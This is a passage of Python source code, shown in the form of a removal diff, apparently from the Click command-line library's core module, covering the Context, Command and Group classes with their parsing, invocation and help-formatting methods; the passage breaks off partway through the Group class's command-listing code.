@click.group() - @click.option("--name") - @click.pass_context - def cli(ctx): - ctx.obj = ctx.with_resource(connect_db(name)) - - :param context_manager: The context manager to enter. - :return: Whatever ``context_manager.__enter__()`` returns. - - .. versionadded:: 8.0 - """ - return self._exit_stack.enter_context(context_manager) - - def call_on_close(self, f: t.Callable[..., t.Any]) -> t.Callable[..., t.Any]: - """Register a function to be called when the context tears down. - - This can be used to close resources opened during the script - execution. Resources that support Python's context manager - protocol which would be used in a ``with`` statement should be - registered with :meth:`with_resource` instead. - - :param f: The function to execute on teardown. - """ - return self._exit_stack.callback(f) - - def close(self) -> None: - """Invoke all close callbacks registered with - :meth:`call_on_close`, and exit all context managers entered - with :meth:`with_resource`. - """ - self._close_with_exception_info(None, None, None) - - def _close_with_exception_info( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> bool | None: - """Unwind the exit stack by calling its :meth:`__exit__` providing the exception - information to allow for exception handling by the various resources registered - using :meth;`with_resource` - - :return: Whatever ``exit_stack.__exit__()`` returns. - """ - exit_result = self._exit_stack.__exit__(exc_type, exc_value, tb) - # In case the context is reused, create a new exit stack. - self._exit_stack = ExitStack() - - return exit_result - - @property - def command_path(self) -> str: - """The computed command path. This is used for the ``usage`` - information on the help page. It's automatically created by - combining the info names of the chain of contexts to the root. - """ - rv = "" - if self.info_name is not None: - rv = self.info_name - if self.parent is not None: - parent_command_path = [self.parent.command_path] - - if isinstance(self.parent.command, Command): - for param in self.parent.command.get_params(self): - parent_command_path.extend(param.get_usage_pieces(self)) - - rv = f"{' '.join(parent_command_path)} {rv}" - return rv.lstrip() - - def find_root(self) -> Context: - """Finds the outermost context.""" - node = self - while node.parent is not None: - node = node.parent - return node - - def find_object(self, object_type: type[V]) -> V | None: - """Finds the closest object of a given type.""" - node: Context | None = self - - while node is not None: - if isinstance(node.obj, object_type): - return node.obj - - node = node.parent - - return None - - def ensure_object(self, object_type: type[V]) -> V: - """Like :meth:`find_object` but sets the innermost object to a - new instance of `object_type` if it does not exist. - """ - rv = self.find_object(object_type) - if rv is None: - self.obj = rv = object_type() - return rv - - def _default_map_has(self, name: str | None) -> bool: - """Check if :attr:`default_map` contains a real value for ``name``. - - Returns ``False`` when the key is absent, the map is ``None``, - ``name`` is ``None``, or the stored value is the internal - :data:`UNSET` sentinel. - """ - return ( - name is not None - and self.default_map is not None - and name in self.default_map - and self.default_map[name] is not UNSET - ) - - @t.overload - def lookup_default( - self, name: str, call: t.Literal[True] = True - ) -> t.Any | None: ... - - @t.overload - def lookup_default( - self, name: str, call: t.Literal[False] = ... - ) -> t.Any | t.Callable[[], t.Any] | None: ... - - def lookup_default(self, name: str, call: bool = True) -> t.Any | None: - """Get the default for a parameter from :attr:`default_map`. - - :param name: Name of the parameter. - :param call: If the default is a callable, call it. Disable to - return the callable instead. - - .. versionchanged:: 8.0 - Added the ``call`` parameter. - """ - if not self._default_map_has(name): - return None - - # Assert to make the type checker happy. - assert self.default_map is not None - value = self.default_map[name] - - if call and callable(value): - return value() - - return value - - def fail(self, message: str) -> t.NoReturn: - """Aborts the execution of the program with a specific error - message. - - :param message: the error message to fail with. - """ - raise UsageError(message, self) - - def abort(self) -> t.NoReturn: - """Aborts the script.""" - raise Abort() - - def exit(self, code: int = 0) -> t.NoReturn: - """Exits the application with a given exit code. - - .. versionchanged:: 8.2 - Callbacks and context managers registered with :meth:`call_on_close` - and :meth:`with_resource` are closed before exiting. - """ - self.close() - raise Exit(code) - - def get_usage(self) -> str: - """Helper method to get formatted usage string for the current - context and command. - """ - return self.command.get_usage(self) - - def get_help(self) -> str: - """Helper method to get formatted help page for the current - context and command. - """ - return self.command.get_help(self) - - def _make_sub_context(self, command: Command) -> Context: - """Create a new context of the same type as this context, but - for a new command. - - :meta private: - """ - return type(self)(command, info_name=command.name, parent=self) - - @t.overload - def invoke( - self, callback: t.Callable[..., V], /, *args: t.Any, **kwargs: t.Any - ) -> V: ... - - @t.overload - def invoke(self, callback: Command, /, *args: t.Any, **kwargs: t.Any) -> t.Any: ... - - def invoke( - self, callback: Command | t.Callable[..., V], /, *args: t.Any, **kwargs: t.Any - ) -> t.Any | V: - """Invokes a command callback in exactly the way it expects. There - are two ways to invoke this method: - - 1. the first argument can be a callback and all other arguments and - keyword arguments are forwarded directly to the function. - 2. the first argument is a click command object. In that case all - arguments are forwarded as well but proper click parameters - (options and click arguments) must be keyword arguments and Click - will fill in defaults. - - .. versionchanged:: 8.0 - All ``kwargs`` are tracked in :attr:`params` so they will be - passed if :meth:`forward` is called at multiple levels. - - .. versionchanged:: 3.2 - A new context is created, and missing arguments use default values. - """ - if isinstance(callback, Command): - other_cmd = callback - - if other_cmd.callback is None: - raise TypeError( - "The given command does not have a callback that can be invoked." - ) - else: - callback = t.cast("t.Callable[..., V]", other_cmd.callback) - - ctx = self._make_sub_context(other_cmd) - - for param in other_cmd.params: - if param.name not in kwargs and param.expose_value: - default_value = param.get_default(ctx) - # We explicitly hide the :attr:`UNSET` value to the user, as we - # choose to make it an implementation detail. And because ``invoke`` - # has been designed as part of Click public API, we return ``None`` - # instead. Refs: - # https://github.com/pallets/click/issues/3066 - # https://github.com/pallets/click/issues/3065 - # https://github.com/pallets/click/pull/3068 - if default_value is UNSET: - default_value = None - kwargs[param.name] = param.type_cast_value(ctx, default_value) - - # Track all kwargs as params, so that forward() will pass - # them on in subsequent calls. - ctx.params.update(kwargs) - else: - ctx = self - - with augment_usage_errors(self): - with ctx: - return callback(*args, **kwargs) - - def forward(self, cmd: Command, /, *args: t.Any, **kwargs: t.Any) -> t.Any: - """Similar to :meth:`invoke` but fills in default keyword - arguments from the current context if the other command expects - it. This cannot invoke callbacks directly, only other commands. - - .. versionchanged:: 8.0 - All ``kwargs`` are tracked in :attr:`params` so they will be - passed if ``forward`` is called at multiple levels. - """ - # Can only forward to other commands, not direct callbacks. - if not isinstance(cmd, Command): - raise TypeError("Callback is not a command.") - - for param in self.params: - if param not in kwargs: - kwargs[param] = self.params[param] - - return self.invoke(cmd, *args, **kwargs) - - def set_parameter_source(self, name: str, source: ParameterSource) -> None: - """Set the source of a parameter. This indicates the location - from which the value of the parameter was obtained. - - :param name: The name of the parameter. - :param source: A member of :class:`~click.core.ParameterSource`. - """ - self._parameter_source[name] = source - - def get_parameter_source(self, name: str) -> ParameterSource | None: - """Get the source of a parameter. This indicates the location - from which the value of the parameter was obtained. - - This can be useful for determining when a user specified a value - on the command line that is the same as the default value. It - will be :attr:`~click.core.ParameterSource.DEFAULT` only if the - value was actually taken from the default. - - :param name: The name of the parameter. - :rtype: ParameterSource - - .. versionchanged:: 8.0 - Returns ``None`` if the parameter was not provided from any - source. - """ - return self._parameter_source.get(name) - - -class Command: - """Commands are the basic building block of command line interfaces in - Click. A basic command handles command line parsing and might dispatch - more parsing to commands nested below it. - - :param name: the name of the command to use unless a group overrides it. - :param context_settings: an optional dictionary with defaults that are - passed to the context object. - :param callback: the callback to invoke. This is optional. - :param params: the parameters to register with this command. This can - be either :class:`Option` or :class:`Argument` objects. - :param help: the help string to use for this command. - :param epilog: like the help string but it's printed at the end of the - help page after everything else. - :param short_help: the short help to use for this command. This is - shown on the command listing of the parent command. - :param add_help_option: by default each command registers a ``--help`` - option. This can be disabled by this parameter. - :param no_args_is_help: this controls what happens if no arguments are - provided. This option is disabled by default. - If enabled this will add ``--help`` as argument - if no arguments are passed - :param hidden: hide this command from help outputs. - :param deprecated: If ``True`` or non-empty string, issues a message - indicating that the command is deprecated and highlights - its deprecation in --help. The message can be customized - by using a string as the value. - - .. versionchanged:: 8.2 - This is the base class for all commands, not ``BaseCommand``. - ``deprecated`` can be set to a string as well to customize the - deprecation message. - - .. versionchanged:: 8.1 - ``help``, ``epilog``, and ``short_help`` are stored unprocessed, - all formatting is done when outputting help text, not at init, - and is done even if not using the ``@command`` decorator. - - .. versionchanged:: 8.0 - Added a ``repr`` showing the command name. - - .. versionchanged:: 7.1 - Added the ``no_args_is_help`` parameter. - - .. versionchanged:: 2.0 - Added the ``context_settings`` parameter. - """ - - #: The context class to create with :meth:`make_context`. - #: - #: .. versionadded:: 8.0 - context_class: type[Context] = Context - - #: the default for the :attr:`Context.allow_extra_args` flag. - allow_extra_args = False - - #: the default for the :attr:`Context.allow_interspersed_args` flag. - allow_interspersed_args = True - - #: the default for the :attr:`Context.ignore_unknown_options` flag. - ignore_unknown_options = False - - name: str | None - context_settings: cabc.MutableMapping[str, t.Any] - callback: t.Callable[..., t.Any] | None - params: list[Parameter] - help: str | None - epilog: str | None - options_metavar: str | None - short_help: str | None - add_help_option: bool - _help_option: Option | None - no_args_is_help: bool - hidden: bool - deprecated: bool | str - - def __init__( - self, - name: str | None, - context_settings: cabc.MutableMapping[str, t.Any] | None = None, - callback: t.Callable[..., t.Any] | None = None, - params: list[Parameter] | None = None, - help: str | None = None, - epilog: str | None = None, - short_help: str | None = None, - options_metavar: str | None = "[OPTIONS]", - add_help_option: bool = True, - no_args_is_help: bool = False, - hidden: bool = False, - deprecated: bool | str = False, - ) -> None: - #: the name the command thinks it has. Upon registering a command - #: on a :class:`Group` the group will default the command name - #: with this information. You should instead use the - #: :class:`Context`\'s :attr:`~Context.info_name` attribute. - self.name = name - - if context_settings is None: - context_settings = {} - - #: an optional dictionary with defaults passed to the context. - self.context_settings = context_settings - - #: the callback to execute when the command fires. This might be - #: `None` in which case nothing happens. - self.callback = callback - #: the list of parameters for this command in the order they - #: should show up in the help page and execute. Eager parameters - #: will automatically be handled before non eager ones. - self.params = params or [] - self.help = help - self.epilog = epilog - self.options_metavar = options_metavar - self.short_help = short_help - self.add_help_option = add_help_option - self._help_option = None - self.no_args_is_help = no_args_is_help - self.hidden = hidden - self.deprecated = deprecated - - def to_info_dict(self, ctx: Context) -> dict[str, t.Any]: - return { - "name": self.name, - "params": [param.to_info_dict() for param in self.get_params(ctx)], - "help": self.help, - "epilog": self.epilog, - "short_help": self.short_help, - "hidden": self.hidden, - "deprecated": self.deprecated, - } - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.name}>" - - def get_usage(self, ctx: Context) -> str: - """Formats the usage line into a string and returns it. - - Calls :meth:`format_usage` internally. - """ - formatter = ctx.make_formatter() - self.format_usage(ctx, formatter) - return formatter.getvalue().rstrip("\n") - - def get_params(self, ctx: Context) -> list[Parameter]: - params = self.params - help_option = self.get_help_option(ctx) - - if help_option is not None: - params = [*params, help_option] - - if __debug__: - import warnings - - opts = [opt for param in params for opt in param.opts] - opts_counter = Counter(opts) - duplicate_opts = (opt for opt, count in opts_counter.items() if count > 1) - - for duplicate_opt in duplicate_opts: - warnings.warn( - ( - f"The parameter {duplicate_opt} is used more than once. " - "Remove its duplicate as parameters should be unique." - ), - stacklevel=3, - ) - - return params - - def format_usage(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the usage line into the formatter. - - This is a low-level method called by :meth:`get_usage`. - """ - pieces = self.collect_usage_pieces(ctx) - formatter.write_usage(ctx.command_path, " ".join(pieces)) - - def collect_usage_pieces(self, ctx: Context) -> list[str]: - """Returns all the pieces that go into the usage line and returns - it as a list of strings. - """ - rv = [self.options_metavar] if self.options_metavar else [] - - for param in self.get_params(ctx): - rv.extend(param.get_usage_pieces(ctx)) - - return rv - - def get_help_option_names(self, ctx: Context) -> list[str]: - """Returns the names for the help option.""" - all_names = set(ctx.help_option_names) - for param in self.params: - all_names.difference_update(param.opts) - all_names.difference_update(param.secondary_opts) - return list(all_names) - - def get_help_option(self, ctx: Context) -> Option | None: - """Returns the help option object. - - Skipped if :attr:`add_help_option` is ``False``. - - .. versionchanged:: 8.1.8 - The help option is now cached to avoid creating it multiple times. - """ - help_option_names = self.get_help_option_names(ctx) - - if not help_option_names or not self.add_help_option: - return None - - # Cache the help option object in private _help_option attribute to - # avoid creating it multiple times. Not doing this will break the - # callback ordering by iter_params_for_processing(), which relies on - # object comparison. - if self._help_option is None: - # Avoid circular import. - from .decorators import help_option - - # Apply help_option decorator and pop resulting option - help_option(*help_option_names)(self) - self._help_option = self.params.pop() # type: ignore[assignment] - - return self._help_option - - def make_parser(self, ctx: Context) -> _OptionParser: - """Creates the underlying option parser for this command.""" - parser = _OptionParser(ctx) - for param in self.get_params(ctx): - param.add_to_parser(parser, ctx) - return parser - - def get_help(self, ctx: Context) -> str: - """Formats the help into a string and returns it. - - Calls :meth:`format_help` internally. - """ - formatter = ctx.make_formatter() - self.format_help(ctx, formatter) - return formatter.getvalue().rstrip("\n") - - def get_short_help_str(self, limit: int = 45) -> str: - """Gets short help for the command or makes it by shortening the - long help string. - """ - if self.short_help: - text = inspect.cleandoc(self.short_help) - elif self.help: - text = make_default_short_help(self.help, limit) - else: - text = "" - - if self.deprecated: - text = f"{_(text)} {_format_deprecated_label(self.deprecated)}" - - return text.strip() - - def format_help(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the help into the formatter if it exists. - - This is a low-level method called by :meth:`get_help`. - - This calls the following methods: - - - :meth:`format_usage` - - :meth:`format_help_text` - - :meth:`format_options` - - :meth:`format_epilog` - """ - self.format_usage(ctx, formatter) - self.format_help_text(ctx, formatter) - self.format_options(ctx, formatter) - self.format_epilog(ctx, formatter) - - def format_help_text(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the help text to the formatter if it exists.""" - if self.help is not None: - # truncate the help text to the first form feed - text = inspect.cleandoc(self.help).partition("\f")[0] - else: - text = "" - - if self.deprecated: - label = _format_deprecated_label(self.deprecated) - text = f"{_(text)} {label}" if text else label - - if text: - formatter.write_paragraph() - - with formatter.indentation(): - formatter.write_text(text) - - def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes all the options into the formatter if they exist.""" - opts = [] - for param in self.get_params(ctx): - rv = param.get_help_record(ctx) - if rv is not None: - opts.append(rv) - - if opts: - with formatter.section(_("Options")): - formatter.write_dl(opts) - - def format_epilog(self, ctx: Context, formatter: HelpFormatter) -> None: - """Writes the epilog into the formatter if it exists.""" - if self.epilog: - epilog = inspect.cleandoc(self.epilog) - formatter.write_paragraph() - - with formatter.indentation(): - formatter.write_text(epilog) - - def make_context( - self, - info_name: str | None, - args: list[str], - parent: Context | None = None, - **extra: t.Any, - ) -> Context: - """This function when given an info name and arguments will kick - off the parsing and create a new :class:`Context`. It does not - invoke the actual command callback though. - - To quickly customize the context class used without overriding - this method, set the :attr:`context_class` attribute. - - :param info_name: the info name for this invocation. Generally this - is the most descriptive name for the script or - command. For the toplevel script it's usually - the name of the script, for commands below it's - the name of the command. - :param args: the arguments to parse as list of strings. - :param parent: the parent context if available. - :param extra: extra keyword arguments forwarded to the context - constructor. - - .. versionchanged:: 8.0 - Added the :attr:`context_class` attribute. - """ - for key, value in self.context_settings.items(): - if key not in extra: - extra[key] = value - - ctx = self.context_class(self, info_name=info_name, parent=parent, **extra) - - with ctx.scope(cleanup=False): - self.parse_args(ctx, args) - return ctx - - def parse_args(self, ctx: Context, args: list[str]) -> list[str]: - if not args and self.no_args_is_help and not ctx.resilient_parsing: - raise NoArgsIsHelpError(ctx) - - parser = self.make_parser(ctx) - opts, args, param_order = parser.parse_args(args=args) - - for param in iter_params_for_processing(param_order, self.get_params(ctx)): - _, args = param.handle_parse_result(ctx, opts, args) - - # We now have all parameters' values into `ctx.params`, but the data may contain - # the `UNSET` sentinel. - # Convert `UNSET` to `None` to ensure that the user doesn't see `UNSET`. - # - # Waiting until after the initial parse to convert allows us to treat `UNSET` - # more like a missing value when multiple params use the same name. - # Refs: - # https://github.com/pallets/click/issues/3071 - # https://github.com/pallets/click/pull/3079 - for name, value in ctx.params.items(): - if value is UNSET: - ctx.params[name] = None - - if args and not ctx.allow_extra_args and not ctx.resilient_parsing: - ctx.fail( - ngettext( - "Got unexpected extra argument ({args})", - "Got unexpected extra arguments ({args})", - len(args), - ).format(args=" ".join(map(str, args))) - ) - - ctx.args = args - ctx._opt_prefixes.update(parser._opt_prefixes) - return args - - def invoke(self, ctx: Context) -> t.Any: - """Given a context, this invokes the attached callback (if it exists) - in the right way. - """ - if self.deprecated: - message = _( - "DeprecationWarning: The command {name!r} is deprecated.{extra_message}" - ).format( - name=self.name, - extra_message=_format_deprecated_suffix(self.deprecated), - ) - echo(style(message, fg="red"), err=True) - - if self.callback is not None: - return ctx.invoke(self.callback, **ctx.params) - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. Looks - at the names of options and chained multi-commands. - - Any command could be part of a chained multi-command, so sibling - commands are valid at any point during command completion. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - results: list[CompletionItem] = [] - - if incomplete and not incomplete[0].isalnum(): - for param in self.get_params(ctx): - if ( - not isinstance(param, Option) - or param.hidden - or ( - not param.multiple - and ctx.get_parameter_source(param.name) - is ParameterSource.COMMANDLINE - ) - ): - continue - - results.extend( - CompletionItem(name, help=param.help) - for name in [*param.opts, *param.secondary_opts] - if name.startswith(incomplete) - ) - - while ctx.parent is not None: - ctx = ctx.parent - - if isinstance(ctx.command, Group) and ctx.command.chain: - results.extend( - CompletionItem(name, help=command.get_short_help_str()) - for name, command in _complete_visible_commands(ctx, incomplete) - if name not in ctx._protected_args - ) - - return results - - @t.overload - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: t.Literal[True] = True, - **extra: t.Any, - ) -> t.NoReturn: ... - - @t.overload - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: bool = ..., - **extra: t.Any, - ) -> t.Any: ... - - def main( - self, - args: cabc.Sequence[str] | None = None, - prog_name: str | None = None, - complete_var: str | None = None, - standalone_mode: bool = True, - windows_expand_args: bool = True, - **extra: t.Any, - ) -> t.Any: - """This is the way to invoke a script with all the bells and - whistles as a command line application. This will always terminate - the application after a call. If this is not wanted, ``SystemExit`` - needs to be caught. - - This method is also available by directly calling the instance of - a :class:`Command`. - - :param args: the arguments that should be used for parsing. If not - provided, ``sys.argv[1:]`` is used. - :param prog_name: the program name that should be used. By default - the program name is constructed by taking the file - name from ``sys.argv[0]``. - :param complete_var: the environment variable that controls the - bash completion support. The default is - ``"__COMPLETE"`` with prog_name in - uppercase. - :param standalone_mode: the default behavior is to invoke the script - in standalone mode. Click will then - handle exceptions and convert them into - error messages and the function will never - return but shut down the interpreter. If - this is set to `False` they will be - propagated to the caller and the return - value of this function is the return value - of :meth:`invoke`. - :param windows_expand_args: Expand glob patterns, user dir, and - env vars in command line args on Windows. - :param extra: extra keyword arguments are forwarded to the context - constructor. See :class:`Context` for more information. - - .. versionchanged:: 8.0.1 - Added the ``windows_expand_args`` parameter to allow - disabling command line arg expansion on Windows. - - .. versionchanged:: 8.0 - When taking arguments from ``sys.argv`` on Windows, glob - patterns, user dir, and env vars are expanded. - - .. versionchanged:: 3.0 - Added the ``standalone_mode`` parameter. - """ - if args is None: - args = sys.argv[1:] - - if os.name == "nt" and windows_expand_args: - args = _expand_args(args) - else: - args = list(args) - - if prog_name is None: - prog_name = _detect_program_name() - - # Process shell completion requests and exit early. - self._main_shell_completion(extra, prog_name, complete_var) - - try: - try: - with self.make_context(prog_name, args, **extra) as ctx: - rv = self.invoke(ctx) - if not standalone_mode: - return rv - # it's not safe to `ctx.exit(rv)` here! - # note that `rv` may actually contain data like "1" which - # has obvious effects - # more subtle case: `rv=[None, None]` can come out of - # chained commands which all returned `None` -- so it's not - # even always obvious that `rv` indicates success/failure - # by its truthiness/falsiness - ctx.exit() - except (EOFError, KeyboardInterrupt) as e: - echo(file=sys.stderr) - raise Abort() from e - except ClickException as e: - if not standalone_mode: - raise - e.show() - sys.exit(e.exit_code) - except OSError as e: - if e.errno == errno.EPIPE: - sys.stdout = t.cast(t.TextIO, PacifyFlushWrapper(sys.stdout)) - sys.stderr = t.cast(t.TextIO, PacifyFlushWrapper(sys.stderr)) - sys.exit(1) - else: - raise - except Exit as e: - if standalone_mode: - sys.exit(e.exit_code) - else: - # in non-standalone mode, return the exit code - # note that this is only reached if `self.invoke` above raises - # an Exit explicitly -- thus bypassing the check there which - # would return its result - # the results of non-standalone execution may therefore be - # somewhat ambiguous: if there are codepaths which lead to - # `ctx.exit(1)` and to `return 1`, the caller won't be able to - # tell the difference between the two - return e.exit_code - except Abort: - if not standalone_mode: - raise - echo(_("Aborted!"), file=sys.stderr) - sys.exit(1) - - def _main_shell_completion( - self, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str | None = None, - ) -> None: - """Check if the shell is asking for tab completion, process - that, then exit early. Called from :meth:`main` before the - program is invoked. - - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. Defaults to - ``_{PROG_NAME}_COMPLETE``. - - .. versionchanged:: 8.2.0 - Dots (``.``) in ``prog_name`` are replaced with underscores (``_``). - """ - if complete_var is None: - complete_name = prog_name.replace("-", "_").replace(".", "_") - complete_var = f"_{complete_name}_COMPLETE".upper() - - instruction = os.environ.get(complete_var) - - if not instruction: - return - - from .shell_completion import shell_complete - - rv = shell_complete(self, ctx_args, prog_name, complete_var, instruction) - sys.exit(rv) - - def __call__(self, *args: t.Any, **kwargs: t.Any) -> t.Any: - """Alias for :meth:`main`.""" - return self.main(*args, **kwargs) - - -class _FakeSubclassCheck(type): - def __subclasscheck__(cls, subclass: type) -> bool: - return issubclass(subclass, cls.__bases__[0]) - - def __instancecheck__(cls, instance: t.Any) -> bool: - return isinstance(instance, cls.__bases__[0]) - - -class _BaseCommand(Command, metaclass=_FakeSubclassCheck): - """ - .. deprecated:: 8.2 - Will be removed in Click 9.0. Use ``Command`` instead. - """ - - -class Group(Command): - """A group is a command that nests other commands (or more groups). - - :param name: The name of the group command. - :param commands: Map names to :class:`Command` objects. Can be a list, which - will use :attr:`Command.name` as the keys. - :param invoke_without_command: Invoke the group's callback even if a - subcommand is not given. - :param no_args_is_help: If no arguments are given, show the group's help and - exit. Defaults to the opposite of ``invoke_without_command``. - :param subcommand_metavar: How to represent the subcommand argument in help. - The default will represent whether ``chain`` is set or not. - :param chain: Allow passing more than one subcommand argument. After parsing - a command's arguments, if any arguments remain another command will be - matched, and so on. - :param result_callback: A function to call after the group's and - subcommand's callbacks. The value returned by the subcommand is passed. - If ``chain`` is enabled, the value will be a list of values returned by - all the commands. If ``invoke_without_command`` is enabled, the value - will be the value returned by the group's callback, or an empty list if - ``chain`` is enabled. - :param kwargs: Other arguments passed to :class:`Command`. - - .. versionchanged:: 8.0 - The ``commands`` argument can be a list of command objects. - - .. versionchanged:: 8.2 - Merged with and replaces the ``MultiCommand`` base class. - """ - - allow_extra_args = True - allow_interspersed_args = False - - #: If set, this is used by the group's :meth:`command` decorator - #: as the default :class:`Command` class. This is useful to make all - #: subcommands use a custom command class. - #: - #: .. versionadded:: 8.0 - command_class: type[Command] | None = None - - #: If set, this is used by the group's :meth:`group` decorator - #: as the default :class:`Group` class. This is useful to make all - #: subgroups use a custom group class. - #: - #: If set to the special value :class:`type` (literally - #: ``group_class = type``), this group's class will be used as the - #: default class. This makes a custom group class continue to make - #: custom groups. - #: - #: .. versionadded:: 8.0 - group_class: type[Group] | type[type] | None = None - # Literal[type] isn't valid, so use Type[type] - - commands: cabc.MutableMapping[str, Command] - invoke_without_command: bool - subcommand_metavar: str - chain: bool - _result_callback: t.Callable[..., t.Any] | None - - def __init__( - self, - name: str | None = None, - commands: cabc.MutableMapping[str, Command] - | cabc.Sequence[Command] - | None = None, - invoke_without_command: bool = False, - no_args_is_help: bool | None = None, - subcommand_metavar: str | None = None, - chain: bool = False, - result_callback: t.Callable[..., t.Any] | None = None, - **kwargs: t.Any, - ) -> None: - super().__init__(name, **kwargs) - - if commands is None: - commands = {} - elif isinstance(commands, abc.Sequence): - commands = {c.name: c for c in commands if c.name is not None} - - #: The registered subcommands by their exported names. - self.commands = commands - - if no_args_is_help is None: - no_args_is_help = not invoke_without_command - - self.no_args_is_help = no_args_is_help - self.invoke_without_command = invoke_without_command - - if subcommand_metavar is None: - # When the group can run without a subcommand, the leading command - # token is optional, so wrap it in brackets to reflect that. - if chain: - if invoke_without_command: - subcommand_metavar = "[COMMAND1] [ARGS]... [COMMAND2 [ARGS]...]..." - else: - subcommand_metavar = "COMMAND1 [ARGS]... [COMMAND2 [ARGS]...]..." - elif invoke_without_command: - subcommand_metavar = "[COMMAND] [ARGS]..." - else: - subcommand_metavar = "COMMAND [ARGS]..." - - self.subcommand_metavar = subcommand_metavar - self.chain = chain - # The result callback that is stored. This can be set or - # overridden with the :func:`result_callback` decorator. - self._result_callback = result_callback - - if self.chain: - for param in self.params: - if isinstance(param, Argument) and not param.required: - raise RuntimeError( - "A group in chain mode cannot have optional arguments." - ) - - def to_info_dict(self, ctx: Context) -> dict[str, t.Any]: - info_dict = super().to_info_dict(ctx) - commands = {} - - for name in self.list_commands(ctx): - command = self.get_command(ctx, name) - - if command is None: - continue - - sub_ctx = ctx._make_sub_context(command) - - with sub_ctx.scope(cleanup=False): - commands[name] = command.to_info_dict(sub_ctx) - - info_dict.update(commands=commands, chain=self.chain) - return info_dict - - def add_command(self, cmd: Command, name: str | None = None) -> None: - """Registers another :class:`Command` with this group. If the name - is not provided, the name of the command is used. - """ - name = name or cmd.name - if name is None: - raise TypeError("Command has no name.") - _check_nested_chain(self, name, cmd, register=True) - self.commands[name] = cmd - - @t.overload - def command(self, __func: t.Callable[..., t.Any]) -> Command: ... - - @t.overload - def command( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Command]: ... - - def command( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Command] | Command: - """A shortcut decorator for declaring and attaching a command to - the group. This takes the same arguments as :func:`command` and - immediately registers the created command with this group by - calling :meth:`add_command`. - - To customize the command class used, set the - :attr:`command_class` attribute. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.0 - Added the :attr:`command_class` attribute. - """ - from .decorators import command - - func: t.Callable[..., t.Any] | None = None - - if args and callable(args[0]): - assert len(args) == 1 and not kwargs, ( - "Use 'command(**kwargs)(callable)' to provide arguments." - ) - (func,) = args - args = () - - if self.command_class and kwargs.get("cls") is None: - kwargs["cls"] = self.command_class - - def decorator(f: t.Callable[..., t.Any]) -> Command: - cmd: Command = command(*args, **kwargs)(f) - self.add_command(cmd) - return cmd - - if func is not None: - return decorator(func) - - return decorator - - @t.overload - def group(self, __func: t.Callable[..., t.Any]) -> Group: ... - - @t.overload - def group( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Group]: ... - - def group( - self, *args: t.Any, **kwargs: t.Any - ) -> t.Callable[[t.Callable[..., t.Any]], Group] | Group: - """A shortcut decorator for declaring and attaching a group to - the group. This takes the same arguments as :func:`group` and - immediately registers the created group with this group by - calling :meth:`add_command`. - - To customize the group class used, set the :attr:`group_class` - attribute. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.0 - Added the :attr:`group_class` attribute. - """ - from .decorators import group - - func: t.Callable[..., t.Any] | None = None - - if args and callable(args[0]): - assert len(args) == 1 and not kwargs, ( - "Use 'group(**kwargs)(callable)' to provide arguments." - ) - (func,) = args - args = () - - if self.group_class is not None and kwargs.get("cls") is None: - if self.group_class is type: - kwargs["cls"] = type(self) - else: - kwargs["cls"] = self.group_class - - def decorator(f: t.Callable[..., t.Any]) -> Group: - cmd: Group = group(*args, **kwargs)(f) - self.add_command(cmd) - return cmd - - if func is not None: - return decorator(func) - - return decorator - - def result_callback(self, replace: bool = False) -> t.Callable[[F], F]: - """Adds a result callback to the command. By default if a - result callback is already registered this will chain them but - this can be disabled with the `replace` parameter. The result - callback is invoked with the return value of the subcommand - (or the list of return values from all subcommands if chaining - is enabled) as well as the parameters as they would be passed - to the main callback. - - Example:: - - @click.group() - @click.option('-i', '--input', default=23) - def cli(input): - return 42 - - @cli.result_callback() - def process_result(result, input): - return result + input - - :param replace: if set to `True` an already existing result - callback will be removed. - - .. versionchanged:: 8.0 - Renamed from ``resultcallback``. - - .. versionadded:: 3.0 - """ - - def decorator(f: F) -> F: - old_callback = self._result_callback - - if old_callback is None or replace: - self._result_callback = f - return f - - def function(value: t.Any, /, *args: t.Any, **kwargs: t.Any) -> t.Any: - inner = old_callback(value, *args, **kwargs) - return f(inner, *args, **kwargs) - - self._result_callback = rv = update_wrapper(t.cast(F, function), f) - return rv # type: ignore[return-value] - - return decorator - - def get_command(self, ctx: Context, cmd_name: str) -> Command | None: - """Given a context and a command name, this returns a :class:`Command` - object if it exists or returns ``None``. - """ - return self.commands.get(cmd_name) - - def list_commands(self, ctx: Context) -> list[str]: - """Returns a list of subcommand names in the order they should appear.""" - return sorted(self.commands) - - def collect_usage_pieces(self, ctx: Context) -> list[str]: - rv = super().collect_usage_pieces(ctx) - rv.append(self.subcommand_metavar) - return rv - - def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: - super().format_options(ctx, formatter) - self.format_commands(ctx, formatter) - - def format_commands(self, ctx: Context, formatter: HelpFormatter) -> None: - """Extra format methods for multi methods that adds all the commands - after the options. - """ - commands = [] - for subcommand in self.list_commands(ctx): - cmd = self.get_command(ctx, subcommand) - # What is this, the tool lied about a command. Ignore it - if cmd is None: - continue - if cmd.hidden: - continue - - commands.append((subcommand, cmd)) - - # allow for 3 times the default spacing - if len(commands): - limit = formatter.width - 6 - max(len(cmd[0]) for cmd in commands) - - rows = [] - for subcommand, cmd in commands: - help = cmd.get_short_help_str(limit) - rows.append((subcommand, help)) - - if rows: - with 